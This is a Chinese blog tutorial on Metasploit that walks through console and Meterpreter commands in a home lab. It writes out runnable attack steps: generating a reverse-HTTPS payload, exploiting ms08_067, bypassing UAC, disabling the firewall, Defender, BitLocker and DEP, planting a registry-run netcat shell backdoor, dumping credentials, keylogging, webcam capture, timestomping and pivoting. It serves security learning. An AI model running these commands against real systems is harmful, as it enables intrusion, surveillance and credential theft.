BetaMao

metasploit教程

字数统计: 7.2k阅读时长: 30 min
2016/09/18 Share

这始终还是最好玩的一个工具,整合了下笔记,有点乱忍着看就好。。。

总览


Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
Metasploit的设计初衷是打造成一个攻击工具开发平台,本书稍后将讲解如何开发攻击工具。然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。 –百度百科

先来看看他的基础架构:

呐,这样,从右边看,他有很多用户接口,最常用的就是前面两个,现在先来分别介绍下Console,后续部分主要使用的接口,直接使用msfconsole进入


它的目录结构为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
.
├── app
│   ├── concerns
│   └── validators
├── config
│   ├── application.rb
│   ├── boot.rb
│   ├── cucumber.yml
│   ├── database.yml                     #数据库配置文件
│   ├── database.yml.example
│   ├── database.yml.travis
│   ├── database.yml.vagrant
│   ├── environment.rb
│   └── environments
├── data                             #含有多种模块
│   ├── cpuinfo
│   ├── eicar.com
│   ├── eicar.txt
│   ├── emailer_config.yaml
│   ├── exploits
│   ├── flash_detector
│   ├── ipwn
│   ├── isight.bundle
│   ├── john.conf
│   ├── js
│   ├── lab
│   ├── logos
│   ├── markdown_doc
│   ├── meterpreter
│   ├── mime.yml
│   ├── msfcrawler
│   ├── msfpescan
│   ├── passivex
│   ├── php
│   ├── post
│   ├── ropdb
│   ├── snmp
│   ├── sounds
│   ├── templates                      #含有多种模板
│   ├── vncdll.x64.dll
│   ├── vncdll.x86.dll
│   ├── webcam
│   ├── wmap
│   └── wordlists                       #含有多种字典
├── db
│   ├── migrate
│   └── schema.rb
├── Gemfile
├── Gemfile.lock
├── lib
│   ├── anemone
│   ├── anemone.rb
│   ├── enumerable.rb
│   ├── metasm
│   ├── metasploit
│   ├── msf
│   ├── msfenv.rb
│   ├── net
│   ├── postgres
│   ├── postgres_msf.rb
│   ├── rabal
│   ├── rapid7
│   ├── rbmysql
│   ├── rbmysql.rb
│   ├── rex
│   ├── rex.rb
│   ├── snmp
│   ├── snmp.rb
│   ├── sqlmap
│   ├── tasks
│   ├── telephony
│   ├── telephony.rb
│   └── windows_console_color_support.rb
├── metasploit-framework.gemspec
├── modules                            #主要模块目录,可以看见6大模块。。。
│   ├── auxiliary
│   ├── encoders
│   ├── exploits
│   ├── nops
│   ├── payloads
│   └── post
├── msfbinscan                           #这里是一些命令,可以单独拿出来使用
├── msfconsole
├── msfd
├── msfdb
├── msfelfscan
├── msfmachscan
├── msfpescan
├── msfrop
├── msfrpc
├── msfrpcd
├── msfupdate
├── msfvenom
├── plugins                            #多种插件,可通过载入插件来连接外部程序,扩充自己功能
│   ├── alias.rb
│   ├── auto_add_route.rb
│   ├── beholder.rb
│   ├── db_credcollect.rb
│   ├── db_tracker.rb
│   ├── event_tester.rb
│   ├── ffautoregen.rb
│   ├── ips_filter.rb
│   ├── lab.rb
│   ├── msfd.rb
│   ├── msgrpc.rb
│   ├── nessus.rb
│   ├── nexpose.rb
│   ├── openvas.rb
│   ├── pcap_log.rb
│   ├── request.rb
│   ├── sample.rb
│   ├── session_tagger.rb
│   ├── socket_logger.rb
│   ├── sounds.rb
│   ├── sqlmap.rb
│   ├── thread.rb
│   ├── token_adduser.rb
│   ├── token_hunter.rb
│   ├── wiki.rb
│   └── wmap.rb
├── Rakefile
├── ruby
├── scripts                    #含有大量脚本,在后渗透测试阶段使用
│   ├── meterpreter
│   ├── ps
│   ├── resource
│   └── shell
├── tools                      #有多种可单独使用的工具
│   ├── context
│   ├── dev
│   ├── exploit
│   ├── memdump
│   ├── modules
│   ├── password
│   └── recon
└── vendor
    └── bundle

总体流程


这是最基本的使用流程,攻击成功后想干嘛随意。
1:扫描目标,可以使用内置模块,也可以使用其他的扫描程序,这里使用nmap

-sS是隐秘扫描,-Pn是假设主机存活,直接扫描。结果看到打开的端口和运行的服务。如果需要更多信息可以用-A

2:使用漏洞利用模块

这里使用了最简单的,权限最高的ms08_067漏洞,为什么用这个?不用管,为了学习后续操作,因为这个最简单呀。
3:查看需要设置的参数

这里要填写rhost的参数
4:设置参数

5:开始攻击

因为这里用的payload是meterpreter,所以利用成功后就可以得到这个,这时就可以进行很多操作了,具体哪些可以看上一篇meterpreter常用命令,这里就介绍一点
6:
I:查看目标的进程

Ii:截屏

Iii:使用摄像头

先查看有没有摄像头
这时拍照

这是实时监控,会在浏览器中打开播放窗口

iV:下载系统账户的哈希

Vi:打开Windows的shell

基本命令


msfdb

1
2
3
4
5
6
7
8
root@kali:~# msfdb
#用于管理msf数据库的命令

msfdb init # 初始化数据库,第一次使用msf时使用
msfdb reinit # 重新初始化数据库,把数据库弄乱时使用
msfdb delete #停止并删除数据库
msfdb start #启动数据库
msfdb stop # 停止数据库

msfpc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@kali:~# msfpc
#用来生成payload的
 
 /usr/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
例如: /usr/bin/msfpc windows 192.168.1.10        # Windows & manual IP.
            /usr/bin/msfpc elf bind eth0 4444          # Linux, eth0's IP & manual port.
            /usr/bin/msfpc stageless cmd py https      # Python, stageless command prompt.
            /usr/bin/msfpc verbose loop eth1           # A payload for every type, using eth1's IP.
            /usr/bin/msfpc msf batch wan               # All possible Meterpreter payloads, using WAN IP.
            /usr/bin/msfpc help verbose                # Help screen, with even more information.
 
 <TYPE>:
   + ASP
   + ASPX
   + Bash [.sh]
   + Java [.jsp]
   + Linux [.elf]
   + OSX [.macho]
   + Perl [.pl]
   + PHP
   + Powershell [.ps1]
   + Python [.py]
   + Tomcat [.war]
   + Windows [.exe // .dll]
 
<DOMAIN/IP>可使用网卡和MAC地址来探测ip,若不填写将会在生成过程中显示列表来选择
<PORT> 默认443端口
<CMD>使用本地shell
<MSF> 使用meterpreter(默认使用它)
<BIND> 绑定型shell
<REVERSE> 反弹型shell(默认使用它)
<STAGED> 将shellcode分片,需要依赖msf(默认使用它)
<STAGELESS> 不分片
<TCP> 使用TCP协议明文传输,适应性好,容易被IDS等发现(默认使用它)
<HTTP> 使用HTTP协议明文传输,适用于限制80端口传输使用
<HTTPS> 使用HTTPS加密传输,适用于限制在443端口传输,不易被IDS等发现
<FIND_PORT> 将尝试所有端口来突破防火墙
<BATCH>生成每一种组合
<LOOP> 生成每一种类型的
<VERBOSE>显示更加详细的信息

运行命令后,他将生成payload和相应的监听资源文件,使用msfconsole –r ****.rc进行监听,等待目标上钩

例如这里,他显示用了什么命令,生成的payload位置,怎么进行监听,怎么快速发布payload。

msfvenom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~# msfvenom
#Msf的独立payload生成器,用来替代msfpayload and msfencode.(这出现在以前的书里。。。)
Usage: /usr/bin/msfvenom [options] <var=val>
 
Options:
    -p, --payload       <payload>    指定payload,使用-来使用标准输入从而使用自定义的payload
        --payload-options            列出指定payload的设直项
    -l, --list          [type]                       列出可使用的模块,可使用payloads, encoders, nops, 筛选
    -n, --nopsled       <length>     设置空指令滑行长度
    -f, --format        <format>     指定输出格式
        --help-formats               列出支持的格式
    -e, --encoder       <encoder>    指定编码器
    -a, --arch          <arch>       指定架构
        --platform      <platform>   指定平台
        --help-platforms             列出支持的平台
    -s, --space         <length>     现在payload的最大尺寸
        --encoder-space <length>     最大编码尺寸
    -b, --bad-chars     <list>       指定要编码的坏字符,例如:'\x00\xff'
    -i, --iterations    <count>      编码次数
    -c, --add-code      <path>       指定包含一个额外的win32shellcode文件
    -x, --template      <path>       指定一个可执行文件作为模板
    -k, --keep                       保持原模板软件有效性
    -o, --out           <path>       指定输出位置
    -v, --var-name      <name>      指定一个自定义的变量名去使用特定输出格式
        --smallest                   生成尽可能小的payload

msfconsole

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
root@kali:~# msfconsole -h
Usage: msfconsole [options]

Common options
-E, --environment ENVIRONMENT The Rails environment. Will use RAIL_ENV environment variable if that is set. Defaults to production if neither option not RAILS_ENV environment variable is set.

Database options
-M, --migration-path DIRECTORY 指定一个额外的包含migration DB的目录
-n, --no-database 不适用数据库
-y, --yaml PATH 指定包含数据库设置的yaml文件地址

Framework options
-c FILE 载入指定的配置文件

Module options
--defer-module-loads 延期载入模块
-m, --module-path DIRECTORY 添加一个额外的模块路径


Console options:
-a, --ask 退出之前先询问
-L, --real-readline 使用系统的readline而非rb的
-o, --output FILE 输出到指定文件
-p, --plugin PLUGIN 启动时即载入插件
-q, --quiet 安静启动
-r, --resource FILE 使用资源文件,可用-表示标准输入
-x, --execute-command COMMAND 相当于以前的msfcli,后面执行一些命令,用;分隔

msf > ?

核心命令
=============

Command Description
------- -----------
? 显示帮助
advanced 后接模块,显示高级配置信息
back 返回上层
cd 改变当前工作目录
connect 相当于nc
Usage: connect [options] <host> <port>

-C 对EOL sequence尝试使用回车换行.
-P <opt> 指定源端口
-S <opt> 指定源地址
-i <opt> 指定发送一个文件的内容。
-s 使用ssl连接
-u 切换成UDP的socket
-w <opt> 指定连接超时
-z 只去连接一下就返回

edit 编辑当前使用的模块
exit 退出
get 获取指定局部变量的值
getg 获取指定全局变量的值
grep grep命令
info 显示指定模块的信息
irb 进入irb模式(可用来编写irb脚本并执行)可以跟-e接脚本直接执行
jobs 显示,管理job(在任务较多时可以再使用参数)
kill 杀死一个job
load 载入指定插件(载如插件后又是一mol功能,以后再说。。。)
loadpath 载如一个指定位置的插件
makerc 将本次进入控制台后使用的命令全部保存为资源文件(就相当于批处理文件)
options 显示指定端口的一般设置项信息
reload_all 重载所有模块
rename_job 重命名一个jobs
resource 运行一个资源文件
route 使用指定session来路由,实现内网渗透等
route [add/remove/get/flush/print] subnet netmask [comm/sid]
search 搜索模块
Usage: search [keywords]
Keywords:
app : 匹配客户端还是服务端攻击
author : 匹配作者
bid : 匹配Bugtraq ID
cve : 匹配CVE ID
edb : 匹配Exploit-DB ID
name : 匹配描述name
osvdb : 匹配OSVDB ID
platform : 匹配平台(Windows,Linux,Android等)
ref : 匹配ref
type : 匹配指定类型模块(exploit, auxiliary, or post)

例如:
search cve:2009 type:exploit app:client

sessions 管理session的
Usage: sessions [options]
OPTIONS:

-K 终止所有sessions
-c <opt> 与-i配合,对指定session运行指定命令(不使用-i将会对所有生效)
-i <opt> 交互式方式进入session
-k <opt> 终止会话
-l 列出所有sessions
-q 安静模式
-r 与-i配合,对指定session重置环形缓冲区(不使用-i将会对所有生效)
-s <opt> 和-i配合,对指定session运行指定脚本(不使用-i将会对所有生效)
-t <opt> 设置响应超时
-u <opt> 将shell升级为meterpreter
-v 列出详细的
-x 显示扩展的信息


set 设置局部变量的值
setg 设置全局变量的值
show 显示被指定的类型或是所有
[*] 可以使用类型过滤:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*] 在模块中可以这样用: missing, advanced, evasion, targets, actions
sleep 在数秒内不做任何事
spool 将以后的输出同时写入指定文件便于查看
threads 查看当前工作的线程
unload 卸载指定插件
unset 去除局部变量的赋值
unsetg 去除指定全局变量的赋值
use 使用指定的模块



数据库命令
=========================

Command Description
------- -----------
creds 列出所有creds信息
db_connect 连接一个存在的数据库
db_disconnect 断开数据库连接
db_export 导出文件
db_import 倒入一个扫描结果文件(会自动探测类型)直接使用命令可以看到支持的类型
db_nmap 和nmap一样,只是这个直接将结果写入数据库
db_rebuild_cache 重建数据库缓存
db_status 显示当前数据库连接状态
hosts 列出主机
loot 列出所有信息(这些命令都可以使用参数来自定义。。。。)
notes 列出所有的主机
services 列出所有的服务
vulns 列出所有的漏洞
workspace 管理工作空间的
workspace 列出工作空间
workspace [name] 切换到指定工作空间
workspace -a [name] ... 添加
workspace -d [name] ... 删除
workspace -D 删除所有
workspace -r <old> <new> 重命名

meterpreter


高级,动态,可扩展的payload,它要远强于系统自带shell,在后渗透测试阶段提供一站式操作界面,所以能够使用meterpreter尽量使用它。
它的特点:

完全基于内存的dll注入式payload(不写入硬盘,当然也可以写入硬盘实现持续控制)
注入合法系统进程并建立stager(传输器)
基于stager上传和预加载dll进行扩展模块注入(客户端API)
基于stager建立的socket链接建立加密的TLS/1.0通信隧道
利用TLS隧道进一步加载后续扩展模块(避免网络取证)
服务端(攻击者端)使用C语言编写
客户端(受害者端)提供基于ruby的全特性API(支持任何语言,只是其他语言不一定是全功能)

生成payload

之所以插播此部分,因为可能因为各种原因导致主动利用不成功而无法继续meterpreter实验。先生成payload手动在靶机上运行就可以不必太依赖其他知识,生成方法可以使用msfvenom或是免杀里面介绍的其他内容,也可以使用msfconsole:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > show options
Module options (payload/windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
msf payload(reverse_https) > set LHOST 192.168.79.130
LHOST => 192.168.79.130
msf payload(reverse_https) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-E 强制编码
-b <opt> 排除坏字符,例如: '\x00\xff'
-e <opt> 指定编码器
-f <opt> 指定输出文件,否则输出到屏幕
-i <opt> 编码几次
-k 保留模板功能
-o <opt> 用逗号分隔形式指定参数
-p <opt> 输出平台
-s <opt> Nop滑行长度
-t <opt> 输出格式: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
-x <opt> 指定模板

此处,排除坏字符是使用编码器将坏字符编码而不是直接舍弃,它是智能选择,在排除坏字符功能实现的前提下使用最优秀的编码器,若坏字符太多可能就不能找到编码器编码咯!这里示例如下:

1
msf payload(reverse_https) > generate -b '\x00\xff' -s 20 -t exe -p x86 -f hia.exe

启动监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msf payload(reverse_https) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path

Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8443
[*] Starting the payload handler...

使用meterpreter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
meterpreter核心命令
=============
? / help 显示帮助菜单
background 将此会话放进后台(回话依然存在,这样可以使用其他模块利用此session来做更多事)
bgkill 杀死一个后台会话
bglist 显示后台运行的脚本
bgrun 运行一个meterpreter脚本作为后台线程
channel 显示频道里信息或者控制频道
close 关闭频道
exit / quit 终止meterpreter会话
get_timeouts 得到当前回话的超时值
info 显示关于选定模块的信息
irb 进入rb脚本模式
load 载入一个或多个meterpreter扩展
machine_id Get the MSF ID of the machine attached to the session
migrate 迁移攻击载荷到指定的pid或者进程名(默认pid,-N name进程名)
read / write 从一个频道读取/写入数据
resource 运行一个资源文件(类似批处理脚本)
run 运行一个meterpreter脚本或模块
set_timeouts 设置当前模块连接超时值
sleep 强制meterpreter去什么都不做再重新连接
transport 改变当前传输机制(后续发)
use 改变load的别名
uuid 获取当前的uuid
文件命令(和Linux几乎一致)
============================
cat 把一个文件内容输出到屏幕(查看文件内容)
cd 移动到其他目录
download 下载一个文件或目录
Usage: download [options] src1 src2 src3 ... destination
OPTIONS:
-r 递归下载所有内容
-t 时间戳也要下载
edit 编辑一个文件(和vim操作类似)
lpwd 查看本地目录
getwd 查看远程目录
lcd 改变本地工作目录
ls 列出文件
mkdir 创建目录
mv 移动
pwd 显示当前工作目录
rm 删除
rmdir 删除目录
search 搜素
show_mount 列出所有设备(磁盘)
upload 上传文件或目录(-r 地柜上传)
网络命令
===========================
arp 显示ARP缓存表
getproxy 显示代理设置
ifconfig 显示网卡设置
ipconfig 显示网卡设置
netstat 显示网络连接状态
portfwd 指向一个本地端口到远程服务(端口转发,后续会发)
route 显示(修改)受害主机路由表
Supported commands:
add [subnet] [netmask] [gateway]
delete [subnet] [netmask] [gateway]
list
系统命令
=======================
clearev 清除事件日志(系统自带的日志)
drop_token 放弃所有的假冒令牌
execute 执行一条命令(后续发)
getenv 取得指定的一个或多环境变量的值
getpid 得到当前进程的pid(攻击shell的pid)
getprivs 尝试获取所有特权
getsid Get the SID of the user that the server is running as
getuid 显示当前的身份
kill 杀死一个进程,后接pid,参数-s杀死相关的进程
ps 列出目标主机的进程
reboot 重启目标主机
shutdown 关闭目标主机
reg 修改注册表,可查看帮助(后续发)
rev2self 回到目标主机的初始用户账户下(例如开始是admin后来提权为system,可以回到admin)
shell 使用Windows系统命令行
steal_token 尝试盗取一个令牌
suspend 暂停或恢复一个列表进程
sysinfo 取得目标主机的系统信息,含电脑名,操作系统,架构,语言,工作组,登录用户数
用户界面命令
===============================
enumdesktops 列举出目标主机上所有的桌面
idletime 返回目标主机已经被闲置了多少时间
keyscan_dump 得到键盘录制的内容
keyscan_start 开始键盘录制
keyscan_stop 停止键盘录制
screenshot 抓取屏幕截图
setdesktop 切换到其他用户界面【当有多个用户登录时】
uictl 控制用户的键盘,鼠标
网络摄像头命令
=======================
record_mic 从默认的录入设备记录x秒的音频
OPTIONS:
-d <opt> 记录几秒,默认1s
-f <opt> 保存路径,默认:'/root/[randomname].wav'
-p <opt> 自动播放捕获到的音频,默认:true
webcam_chat 开启一个视频聊天
webcam_list 显示设备列表
webcam_snap 从指定的设备截图
webcam_stream 从指定的webcam播放视频流
权限提升
======================
getsystem 尝试提升用户权限
密码数据库
================================
hashdump 下载密码哈希值(sam库)
文件属性
timestomp 修改文件的属性(后续发)

后渗透测试


admin绕过UAC

Win7及以上默认都会开启用户访问控制,即使得到administrator权限也不能直接提权到system(如下图),所以要先绕过UAC,下面是方法,前提是已经有一个administrator的shell了。

0X01 use exploit/windows/local/ask
设置一个欺骗性的名字,然后在受害主机弹出确认框,若对方确认则成功

0X02 use exploit/windows/local/bypassuac_vbs
也是需要用户确认,通过vbs来绕过,生成了清理文件可以手动点击清理

目标会弹出确认框,需要点击确认才行

0X03 use exploit/windows/local/bypassuac
老师的实验使用此不需要目标确认,但是我自己实验还是需要确认才行。

低权限system提权

如题,需要一个低权限的shell,然后需要利用目标存在的漏洞,可在
Exploit/windows/local/目录下搜索能够提权的模块。

关闭防火墙

现在及之后命令都是在system权限下进行的:

1
netsh advfirewall set allprofiles state off


不过这样隐蔽性不好,可以直接添加一条规则:

1
2
3
meterpreter > execute -f cmd -i -H	
C:\windows\system32>netsh firewall show opmode
C:\windows\system32>netsh firewall add portopening TCP 444 "hia-hia-hia" ENABLE ALL

关闭windefend

1
net stop windefend(就像很普通的关闭服务)

关闭bitlocker

1
2
manage-bde -status E: 
manage-bde -off E:(需要在受害者已经解锁后才能去除加密,如下图)


开启远程桌面

1
run post/windows/manage/enable_rdp

(看到最后一句提供了关闭的rc文件)

1
2
run getgui -e 
run getgui -u username -p passwd

关闭DEP

1
bcdedit.exe /set {current} nx AlwaysOff

杀死防病毒软件

1
run killav			(已经失效)

token窃取

tokens:
用户每次登陆,账号绑定临时的token
访问资源时提交token进行身份验证,类似于web cookie

delegate token:交互登陆会话
impersonate token:非交互登陆会话(他们两者权限是一样的,但是只有delegate token可以交互)
delegate token账号注销后变为impersonate token,权限依然有效

incognito

独立功能的软件,被msf集成在meterpreter中
无需密码破解或获取密码hash,窃取token将自己伪装成其他用户
尤其适用于与环境下提权渗透多操作系统,下面的模块中含有相关技术
其他模块
使用load可以看到存在插件

espia

screengrab用来截屏。。。

lanattacks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Lanattacks: DHCP Commands
=========================
dhcp_load_options 载入选项
dhcp_log 记录
dhcp_reset 重置
dhcp_set_option 设置
dhcp_start 开始
dhcp_stop 停止
Lanattacks: TFTP Commands
=========================
tftp_add_file 像tftp添加文件
tftp_reset 重置
tftp_start 开始
tftp_stop 停止

extapi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Extapi: Window Management Commands
==================================
window_enum 枚举所有已经打开的窗口
Extapi: Service Management Commands
===================================
service_control 控制服务 (start/pause/resume/stop/restart)
service_enum 枚举所有服务
service_query 查询指定服务细节
Extapi: Clipboard Management Commands
=====================================
clipboard_get_data 读取剪贴板内容
clipboard_monitor_dump 下载监听的内容
clipboard_monitor_pause 暂停监听
clipboard_monitor_purge 删除已经监听的数据
clipboard_monitor_resume 继续监听
clipboard_monitor_start 监听剪贴板
clipboard_monitor_stop 停止监听
clipboard_set_text 向目标剪贴板写入文本(似乎并不好用)
Extapi: ADSI Management Commands
================================
adsi_computer_enum 枚举所有指定域的电脑
adsi_dc_enum 枚举所有指定域的域控制器
adsi_domain_query Enumerate all objects on the specified domain that match a filter.
adsi_group_enum 枚举所有指定域的组
adsi_nested_group_user_enum Recursively enumerate users who are effectively members of the group specified.
adsi_user_enum 枚举所有指定域的用户
Extapi: WMI Querying Commands
=============================
wmi_query Perform a generic WMI query and return the results

kiwi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Kiwi Commands
=============
creds_all Retrieve all credentials #实在不行还可以用模块钓鱼获取
creds_kerberos Retrieve Kerberos creds
creds_livessp Retrieve LiveSSP creds
creds_msv Retrieve LM/NTLM creds (hashes)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds
creds_wdigest Retrieve WDigest creds
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
lsa_dump 下载LSA secrets
wifi_list 列出WiFi密码

Incognito

1
2
3
4
5
6
7
8
Incognito Commands
==================
add_group_user 尝试用所有的token去添加一个用户到域
add_localgroup_user 尝试用所有的token去添加一个用户到本地
add_user 尝试用所有token去添加一个用户
impersonate_token 使用Impersonate token伪装身份
list_tokens 列出存在的token
snarf_hashes Snarf challenge/response hashes for every token


mimikatz

1
2
3
4
5
6
7
8
Mimikatz Commands
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom command
msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds

sniffer

1
2
3
4
5
6
7
Sniffer Commands
sniffer_dump 下载捕获的包
sniffer_interfaces 枚举所有可用网络接口
sniffer_release 释放捕获的包
sniffer_start 开始
sniffer_stats 状态
sniffer_stop 停止捕获包

python

1
2
3
4
5
Python Commands
===============
python_execute 执行一串Python命令
python_import 导入运行脚本或模块
python_reset 重启解释器

powershell

1
2
3
4
5
Powershell Commands
===================
powershell_execute 执行一串powershell命令
powershell_import 导入ps1文件或是 .NET 组装的 DLL
powershell_shell 进入交互式powershell

REG

使用注册表编辑器:
Windows几乎所有的设置都是写在注册表中的,所以注册表工具异常强大,这里以安装一个开机自启动执行监听并返回shell的nc为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
reg 
Usage: reg [command] [options]
OPTIONS:
-d <opt> 设置键值.
-k <opt> 指定键路径(E.g. HKLM\Software\Foo).
-r <opt> The remote machine name to connect to (with current process credentials
-t <opt> 设置键类型(E.g. REG_SZ).
-v <opt> 设置键名
-w Set KEY_WOW64 flag, valid values [32|64].
COMMANDS:
enumkey 枚举一个键的值 [-k <key>]
createkey 创建一个键 [-k <key>]
deletekey 删除一个键 [-k <key>]
queryclass 查询键的class [-k <key>]
setval 设置一个子键 [-k <key> -v <val> -d <data>]
deleteval 删除一个子键 [-k <key> -v <val>]
queryval 查询一个子键 [-k <key> -v <val>]

补充:nc.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d 从控制台分离后悄悄执行

-e prog 绑定一个程序到监听端口[dangerous!!]
-i secs 间隔时间
-l 监听模式
-L 监听且在连接断开后,继续监听
-n numeric-only IP addresses, no DNS
-o file 以16进制下载数据
-p port 本地端口号
-r 使用随机的本地/远程端口
-s addr 源地址
-t 回应Telnet协商
-u UDP模式
-v 详细信息
-z 端口扫描
port numbers can be individual or ranges: m-n [inclusive]

查询这个键:

1
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

设置子健:

1
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\nc.exe -Ldp 444 -e C:\\windows\system32\cmd.exe'

查询子健:

1
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc


Win7上查看下:

execute

1
2
3
4
5
6
7
8
9
10
11
12
13
Usage: execute -f file [options]
Executes a command on the remote machine.
OPTIONS:
-H 创建隐藏的进程
-a <opt> The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> 要执行的命令
-i 交互式执行
-k Execute process on the meterpreters current desktop
-m 从内存中执行
-s <opt> 以指定session的用户身份来执行该命令
-t 以impersonated token身份来执行该命令




检查成功:

timestomp

说起文件时间就是一个坑,第一次往学长靶机放shell就是因为这个被秒找到。。。
前言:
文件系统访问会留下痕迹,这是电子取证重点关注的地方,渗透测试和攻击者往往希望销毁文件系统访问痕迹,但是鬼知道有没有彻底销毁,所以最好的避免被电子取证发现的方法就是不要碰文件系统,而这也是meterpreter的先天优势所在(完全基于内存),要是碰了该咋办呢?
不搭后语:
mac时间(modified/accessed/changed)
可以使用

1
2
3
ls –l hia.exe
ls -l --time=atime hia.exe
ls –l –time=ctime hia.exe

也可以使用

1
Stat hia.exe

也可以使用

1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > timestomp 
Usage: timestomp OPTIONS file_path
OPTIONS:
-b 删除mace时间戳
-a <opt> 设置atime
-c <opt> 设置ctime
-m <opt> 设置mtime
-e <opt> 设置etime
-z <opt> 设置所有时间
-f <opt> 复制指定文件的时间戳
-r 对一个目录递归设置mace时间戳
-v 显示mace时间戳

补充:mace中的e:mft entry
mft:ntfs文件系统的主文件分配表 master file table
通常1024字节或2个硬盘扇区,其中存放多项entry信息
包含文件大量信息(大小 名称 目录位置 磁盘位置 创建日期)
更多信息可研究文件系统取证分析技术
文字不够图来凑:

跳板

实验环境:

Monowall 192.168.79.135/10.21.11.1    边界防火墙
Win7 10.21.11.2        内网主机,执行木马反弹shell,用来做跳板
Winxp    10.21.11.3    内网主机,被通过跳板攻击
Kali2016.2 192.168.79.130            攻击

使用跳板

配置防火墙规则,开心就好
取得win7shell,双击就好

查看IP:

使用跳板:

扫描内网:

(速度太慢了,就只指定了一台主机)
入侵内网主机:

(恶俗的08067…)

使用端口转发:

命令:

1
2
3
4
5
6
7
8
9
10
11
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> Forward: 本地监听主机
